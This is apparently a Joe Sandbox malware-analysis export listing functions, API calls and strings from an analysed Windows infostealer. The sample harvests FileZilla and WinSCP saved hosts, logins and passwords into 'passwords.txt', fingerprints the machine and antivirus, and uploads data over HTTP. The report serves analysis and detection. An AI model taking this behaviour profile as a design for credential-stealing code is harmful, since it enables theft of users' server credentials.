Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 3e89ee642514d63ebe51338df4c39dbce53315f5121b1c3d1af6873a02a67f8e
Instruction ID: 5178535980331d1a95a47210b24ee6b6febbe527be0b83028620034588f0433e
Opcode Fuzzy Hash: 3e89ee642514d63ebe51338df4c39dbce53315f5121b1c3d1af6873a02a67f8e
Instruction Fuzzy Hash: FE012C79A00209ABDB10DFA8DC55FAA77B9EFC8700F144559FA05AB380DB75ED00CBA4

Function 0040FAE0 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417612,004201E9), ref: 0040FAEC
HeapAlloc.KERNEL32(00000000,?,?,?,00417612,004201E9), ref: 0040FAF3
GetUserNameA.ADVAPI32(00000000,004201E9), ref: 0040FB07

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 8218fe93c7511915d8ea69b2df3f7555064dccbdcf9b0fba1e292445f5964255
Instruction ID: 78103743301cbd06d6d8d66bd0cdb6708e3bc561754f37119468ce18e8306284
Opcode Fuzzy Hash: 8218fe93c7511915d8ea69b2df3f7555064dccbdcf9b0fba1e292445f5964255
Instruction Fuzzy Hash: 8FD012B1601218BBE7109BD4AC0DFDABBACDB05765F4001A1FA05D2241D5B0594087E5

Function 0040FDA0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 0040FDAD
wsprintfA.USER32 ref: 0040FDC3

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: cc8115d905fbb8cdd454b3d4cd268fd51ce0050b77075ef992d59a3f7f7a50e1
Instruction ID: 2d001d16c60f98aa9cd43fb7044d9c99f47e8ba4ce822719c414ae554ccf3ebb
Opcode Fuzzy Hash: cc8115d905fbb8cdd454b3d4cd268fd51ce0050b77075ef992d59a3f7f7a50e1
Instruction Fuzzy Hash: 9DD012B590021C97C710EB90FC859A9B77DEB44301F405695EF05A2141E779AA198BE5

Function 0040B9A0 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 335
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00410D50: SHGetFolderPathA.SHELL32(00000000,004201E9,00000000,00000000,?,00000000,?), ref: 00410D81

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00406C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
Part of subcall function 00406C20: GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
Part of subcall function 00406C20: LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
Part of subcall function 00406C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
Part of subcall function 00406C20: CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

Part of subcall function 00410DA0: LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,00413026,00000000,00000000), ref: 00410DBC

strtok_s.MSVCRT ref: 0040BA5E
GetProcessHeap.KERNEL32(00000000,000F423F,004201E9,004201E9,004201E9,004201E9), ref: 0040BAA3
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BAAA
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040BAC6
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BAD1

Part of subcall function 00411200: malloc.MSVCRT ref: 00411209
Part of subcall function 00411200: strncpy.MSVCRT ref: 00411219

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040BB01
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BB0C
StrStrA.SHLWAPI(00000000,<User>), ref: 0040BB42
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BB4D
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040BB7D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BB88
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BC06
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BC1E
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BC36
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BC4E
lstrcatA.KERNEL32(00000000,Soft: FileZilla), ref: 0040BC63
lstrcatA.KERNEL32(00000000,Host: ), ref: 0040BC6F
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BC7F
lstrcatA.KERNEL32(00000000,00423454), ref: 0040BC8B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BC9B
lstrcatA.KERNEL32(00000000,00423408), ref: 0040BCA7
lstrcatA.KERNEL32(00000000,Login: ), ref: 0040BCB3
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BCC3
lstrcatA.KERNEL32(00000000,00423408), ref: 0040BCCF
lstrcatA.KERNEL32(00000000,Password: ), ref: 0040BCDB
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BCEB
lstrcatA.KERNEL32(00000000,00423408), ref: 0040BCF7
lstrcatA.KERNEL32(00000000,00423408), ref: 0040BD03

Part of subcall function 0040F8A0: lstrlenA.KERNEL32(004176BE,?,00000000,?,00416587,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 0040F8AB
Part of subcall function 0040F8A0: lstrcpyA.KERNEL32(00000000,004176BE), ref: 0040F8E2

strtok_s.MSVCRT ref: 0040BD47
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BD5A

Strings

Soft: FileZilla, xrefs: 0040BC5D
passwords.txt, xrefs: 0040BD67
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040B9F5
<User>, xrefs: 0040BB3C
Host: , xrefs: 0040BC69
<Pass encoding="base64">, xrefs: 0040BB77
Password: , xrefs: 0040BCD5
Login: , xrefs: 0040BCAD
<Port>, xrefs: 0040BAFB
<Host>, xrefs: 0040BAC0

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFile$HeapLocalstrtok_s$CloseCreateFolderHandlePathProcessReadSizemallocstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 1826205597-935134978
Opcode ID: d0f1a12c0c5ba744bef3465c34d2a8d6ea4b3d309e6b46fbb3193784d13814ed
Instruction ID: 995b618bf102b3cf0671245d97106fbcf4553354a52c55c251f6feeeb9f0d63c
Opcode Fuzzy Hash: d0f1a12c0c5ba744bef3465c34d2a8d6ea4b3d309e6b46fbb3193784d13814ed
Instruction Fuzzy Hash: A4B150729001046ADB14FBA1EC56EEE777CEE50705F54903AF502B24D2EF3C6A0DCAA9

Function 004045D0 Relevance: 61.9, APIs: 26, Strings: 9, Instructions: 696
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DA2
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DAF
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DBC
Part of subcall function 00403D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 00403DD6
Part of subcall function 00403D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 00403DE6

lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000030), ref: 00404641

Part of subcall function 00410DF0: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 00410E14
Part of subcall function 00410DF0: GetProcessHeap.KERNEL32(00000000,?,?,00404635,?,?,?,?,?,?,?,?,00000030), ref: 00410E23
Part of subcall function 00410DF0: HeapAlloc.KERNEL32(00000000,?,?,00404635,?,?,?,?,?,?,?,?,00000030), ref: 00410E2A

StrCmpCA.SHLWAPI(?,024BDE18,004201E9,004201E9,004201E9,004201E9), ref: 004046A6
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004046CC
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004047B0
HttpOpenRequestA.WININET(00000000,024BDDA8,?,024BFBE0,00000000,00000000,?,00000000), ref: 004047ED
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404812

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,file_data,00000000,?,024986E0,00000000,?,00423358,00000000,?,?), ref: 00404C21
lstrlenA.KERNEL32(00000000), ref: 00404C33
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00404C45
HeapAlloc.KERNEL32(00000000), ref: 00404C4C
lstrlenA.KERNEL32(00000000), ref: 00404C5E
memcpy.MSVCRT ref: 00404C72
lstrlenA.KERNEL32(00000000,?,?), ref: 00404C8B
memcpy.MSVCRT ref: 00404C95
lstrlenA.KERNEL32(00000000), ref: 00404CA6
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404CBF
memcpy.MSVCRT ref: 00404CCC
lstrlenA.KERNEL32(00000000,?,00000000), ref: 00404CE2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404CF3
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00404D1A
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404D5F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404DB3
StrCmpCA.SHLWAPI(00000000,block), ref: 00404DCB
ExitProcess.KERNEL32 ref: 00404DD6
InternetCloseHandle.WININET(00000000), ref: 00404DE7

Strings

", xrefs: 004048C4, 004049D3, 00404AE6, 00404BF6
ERROR, xrefs: 00404D27
block, xrefs: 00404DBD
------, xrefs: 00404818, 00404929, 00404A3A, 00404B4B
--, xrefs: 00404710
build_id, xrefs: 004049B1
=tA, xrefs: 00404E59, 004048E6, 004048E9
------, xrefs: 00404721
file_data, xrefs: 00404BD4

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$Heap$HttpProcessmemcpy$AllocFileOpenReadRequestlstrcat$BinaryCloseConnectCrackCryptExitHandleInfoOptionQuerySendString
String ID: ------$"$--$------$=tA$ERROR$block$build_id$file_data
API String ID: 1603122859-1039408876
Opcode ID: 2fe07b2b0317c2d985833f88672581e366e8db2608424af0ef2b2242fd126384
Instruction ID: 5c63602dc81e6f21b2342bf72322e36899336e6e37317e40e758c60d5b7de2b6
Opcode Fuzzy Hash: 2fe07b2b0317c2d985833f88672581e366e8db2608424af0ef2b2242fd126384
Instruction Fuzzy Hash: 5E42DB72D10109AADB14FBA1DC92DEE7778AF54304F50817EB212724D1EF386A4DCBA8

Function 0040E3C0 Relevance: 58.1, APIs: 19, Strings: 14, Instructions: 384
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040E3E4
memset.MSVCRT ref: 0040E3FE
memset.MSVCRT ref: 0040E40C
memset.MSVCRT ref: 0040E41A
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,00416CFD,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040E442
RegGetValueA.ADVAPI32(00416CFD,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E467
RegCloseKey.ADVAPI32(00416CFD,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0040E475

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

RegCloseKey.ADVAPI32(00416CFD,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0040E4AF
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,00416CFD,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040E4C9
RegEnumKeyExA.ADVAPI32(00416CFD,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E4E7
RegCloseKey.ADVAPI32(00416CFD,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0040E4FD
RegGetValueA.ADVAPI32(00416CFD,?,HostName,00000002,00000000,?,?,00000000,?,Host: ,00000000,?,Soft: WinSCP,004201E9), ref: 0040E58A
RegGetValueA.ADVAPI32(00416CFD,?,PortNumber,0000FFFF,00000000,?,?,00000000,?,?), ref: 0040E5D5
RegGetValueA.ADVAPI32(00416CFD,?,UserName,00000002,00000000,?,?,00000000,?,Login: ,00000000,?,:22), ref: 0040E682
RegGetValueA.ADVAPI32(00416CFD,?,Password,00000002,00000000,?,?,00000000,?,00423408,00000000,?,?), ref: 0040E6F4
StrCmpCA.SHLWAPI(?,004201E9,00000000,?,Password: ,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040E724
RegEnumKeyExA.ADVAPI32(00416CFD,?,?,00000104,00000000,00000000,00000000,00000000,00000000,?,00423684), ref: 0040E7D7
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0040E7F1
RegCloseKey.ADVAPI32(00416CFD), ref: 0040E848

Part of subcall function 0040DD90: GetProcessHeap.KERNEL32(00000008,?,75B4EC10,75B65460,00000000), ref: 0040DDD8
Part of subcall function 0040DD90: HeapAlloc.KERNEL32(00000000), ref: 0040DDDF
Part of subcall function 0040DD90: GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDF4
Part of subcall function 0040DD90: HeapFree.KERNEL32(00000000), ref: 0040DDFB

Strings

Password, xrefs: 0040E6E7
HostName, xrefs: 0040E57D
:22, xrefs: 0040E614
passwords.txt, xrefs: 0040E806
UserName, xrefs: 0040E675
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E4BF
Login: , xrefs: 0040E63C
Host: , xrefs: 0040E544
Password: , xrefs: 0040E6F6
Security, xrefs: 0040E461
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E42F
Soft: WinSCP, xrefs: 0040E522
UseMasterPassword, xrefs: 0040E45C
PortNumber, xrefs: 0040E5C1

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Value$CloseHeapmemset$EnumOpenProcesslstrcpylstrlen$AllocFreelstrcat
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 376919160-2798830873
Opcode ID: fbd7e1fb9c34e61119653b5e7c9eee0a47cb38dfe20533517bba44489a886576
Instruction ID: ae86b70a3009f92c38161279bc2e3da00af9fe4ff8be4466f6dea0ea82a0e72c
Opcode Fuzzy Hash: fbd7e1fb9c34e61119653b5e7c9eee0a47cb38dfe20533517bba44489a886576
Instruction Fuzzy Hash: 7BD11DB2910119AEDB24EBA1DC91EEEB37CAF54304F50457EF105B2591EB386B48CB68

Function 004144B0 Relevance: 48.1, APIs: 2, Strings: 25, Instructions: 834
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040FB60: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,Version: ,004201E9,?,?,?,?,?,?,?,00416C7F,?), ref: 0040FB6E
Part of subcall function 0040FB60: HeapAlloc.KERNEL32(00000000,?,00000000,?,Version: ,004201E9,?,?,?,?,?,?,?,00416C7F,?), ref: 0040FB75
Part of subcall function 0040FB60: GetLocalTime.KERNEL32(00000000,?,00000000,?,Version: ,004201E9,?,?,?,?,?,?,?,00416C7F,?), ref: 0040FB81
Part of subcall function 0040FB60: wsprintfA.USER32 ref: 0040FBAD

Part of subcall function 00410340: memset.MSVCRT ref: 00410365
Part of subcall function 00410340: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,004201E9), ref: 00410382
Part of subcall function 00410340: RegQueryValueExA.KERNEL32(004201E9,MachineGuid,00000000,00000000,00000000,000000FF), ref: 004103A4
Part of subcall function 00410340: RegCloseKey.ADVAPI32(004201E9), ref: 004103AE
Part of subcall function 00410340: CharToOemA.USER32(00000000,?), ref: 004103C2

Part of subcall function 004103E0: GetCurrentHwProfileA.ADVAPI32(00000000), ref: 004103EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 00410420: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0041043C
Part of subcall function 00410420: GetVolumeInformationA.KERNEL32({kA,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00410475
Part of subcall function 00410420: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004104BF
Part of subcall function 00410420: HeapAlloc.KERNEL32(00000000), ref: 004104C6

GetCurrentProcessId.KERNEL32(00000000,?,Path: ,00000000,?,00423684,00000000,?,00000000,00000000,004201E9), ref: 00414728

Part of subcall function 00411090: OpenProcess.KERNEL32(00000410,00000000,?), ref: 004110A5
Part of subcall function 00411090: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004110C0
Part of subcall function 00411090: CloseHandle.KERNEL32(00000000), ref: 004110C7

Part of subcall function 004105A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004105B5
Part of subcall function 004105A0: HeapAlloc.KERNEL32(00000000), ref: 004105BC

Part of subcall function 00410730: CoInitializeEx.OLE32(00000000,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?,00423684,00000000,?,Work Dir: In memory,00000000), ref: 00410758
Part of subcall function 00410730: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000), ref: 00410769
Part of subcall function 00410730: CoCreateInstance.OLE32(004249C0,00000000,00000001,004248F0,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?,00423684,00000000,?), ref: 00410783
Part of subcall function 00410730: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?), ref: 004107BC
Part of subcall function 00410730: VariantInit.OLEAUT32(?), ref: 0041081B

Part of subcall function 00410900: CoInitializeEx.OLE32(00000000,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000,?,00423408,00000000,?,00000000,00000000), ref: 00410928
Part of subcall function 00410900: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000), ref: 00410939
Part of subcall function 00410900: CoCreateInstance.OLE32(004249C0,00000000,00000001,004248F0,00000000,?,00000030,?,00000000,?,AV: ,00000000,?,00423408,00000000,?), ref: 00410953
Part of subcall function 00410900: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000,?), ref: 0041098C
Part of subcall function 00410900: VariantInit.OLEAUT32(?), ref: 004109E3

Part of subcall function 0040FB20: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00414941,00000000,?,Computer Name: ,00000000,?,00423408,00000000,?,00000000,00000000), ref: 0040FB2C
Part of subcall function 0040FB20: HeapAlloc.KERNEL32(00000000,?,?,?,00414941,00000000,?,Computer Name: ,00000000,?,00423408,00000000,?,00000000,00000000,00000000), ref: 0040FB33
